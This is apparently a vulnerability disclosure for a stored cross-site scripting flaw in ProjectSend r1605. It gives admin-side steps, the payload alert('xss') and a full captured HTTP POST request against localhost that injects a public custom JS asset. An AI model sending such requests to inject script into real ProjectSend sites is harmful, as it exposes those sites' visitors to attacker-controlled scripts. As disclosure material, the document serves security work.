projectSend r1605 Cross Site Scripting

Exploit Title: projectSend r1605 - Stored XSSApplication: projectSendVersion: r1605Bugs:  Stored XssTechnology: PHPVendor URL: https://www.projectsend.org/Software Link: https://www.projectsend.org/Date of found: 11-06-2023Author: Mirabbas AğalarovTested on: Linux 2. Technical Details & POC========================================1. Login as admin2. Go to Custom Html/Css/Js (http://localhost/custom-assets.php)3. Go to new JS (http://localhost/custom-assets-add.php?language=js)4. Set content as  alert("xss"); and set public 5. And Save6. Go to http://localhost (logout)payload: alert("xss")POST /custom-assets-add.php HTTP/1.1Host: localhostContent-Length: 171Cache-Control: max-age=0sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Linux"Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://localhost/custom-assets-add.php?language=jsAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: log_download_started=false; PHPSESSID=7j8g8u9t7khb259ci4fvareg2lConnection: closecsrf_token=222b49c5c4a1755c451637f17ef3e7ea8bb5b6ee616293bd73d15d0e608d9dab&language=js&title=test&content=alert%28%22XSS%22%29%3B&enabled=on&location=public&position=head